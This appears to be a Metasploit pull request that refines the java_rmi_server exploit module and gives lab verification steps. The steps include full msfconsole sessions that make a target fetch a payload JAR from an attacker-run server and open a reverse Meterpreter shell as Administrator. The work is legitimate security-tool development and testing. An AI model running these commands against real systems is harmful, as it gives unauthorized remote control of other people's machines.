rapid7/metasploit-framework — pull request #4203 by jvazquez-r7 (2014-11-14 01:40:26+00:00)
Title: Some cleanup on java_rmi_server

Summary:

* Use exploit/primer since the module is Aggressive, using ```Msf::Exploit::Remote::Tcp``` and ```include Msf::Exploit::Remote::HttpServer```. So the exploit doesn't need to start the service, allowing the mixin to make it.
* Manage Exceptions in ```exploit``` to not wait ```WfsDelay``` when the exploit isn't successful.
* Handle java.lang.ClassNotFoundException on the RMI answer when trying to load the msf payload, since it happens by default on modern versions of Java.

Verification
------------

- [ ] Install a Windows machine for testing (I've used windows XP SP3) (indeed any system capable of running oracle java and you feel comfortable)
- [ ] Install Java 7.0 SDK, can be downloaded without registration from: http://www.oldapps.com/es/java.php?old_java=6146?download
- [ ] From a cmd, go to ```C:\Program Files\Java\jdk1.7.0\bin``` and execute ```start rmiregistry.exe```

```
C:\Program Files\Java\jdk1.7.0\bin>start rmiregistry.exe
```

- [ ] Init msfconsole
- [ ] Execute the module

```
msf > use exploit/multi/misc/java_rmi_server
msf exploit(java_rmi_server) > set rhost 172.16.158.133
rhost => 172.16.158.133
msf exploit(java_rmi_server) > set srvhost 172.16.158.1
srvhost => 172.16.158.1
msf exploit(java_rmi_server) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(java_rmi_server) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(java_rmi_server) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Using URL: http://172.16.158.1:8080/uS1TRv0w1bKYy
[*] Server started.
[*] 172.16.158.131:1099 - Connected and sending request for http://172.16.158.1:8080/uS1TRv0w1bKYy/VeYn.jar
[*] 172.16.158.131 java_rmi_server - Replied to request for payload JAR
[*] Sending stage (30355 bytes) to 172.16.158.131
[+] 172.16.158.131:1099 - Target may be exploitable...
[*] Server stopped.

meterpreter > getuid
Server username: Administrator
emeterpreter > exit
```

- [ ] Verify which you get a session and you don't need to wait after the session is popped
- [ ] On the target, uninstall Java 7 SDK
- [ ] Install Java 7 Update 72 SDK
- [ ] Start rmiregistry as explained above
- [ ] Run the module against the target:

```
msf exploit(java_rmi_server) > set rhost 172.16.158.133
rhost => 172.16.158.133
msf exploit(java_rmi_server) > rexploit
[*] Reloading module...

[*] Started reverse handler on 172.16.158.1:4444
[*] Using URL: http://172.16.158.1:8080/NJVJXUEkhEB
[*] Server started.
[*] 172.16.158.133:1099 - Connected and sending request for http://172.16.158.1:8080/NJVJXUEkhEB/Wu.jar
[-] Exploit failed: RuntimeError Exploit aborted due to failure unknown 172.16.158.133:1099 - The RMI class loader couldn't find the payload
[*] Server stopped.
```

- [ ] Verify which the module fails, you can read the fail message "The RMI class loader couldn't find the payload", and the server stops and the module ends without waiting.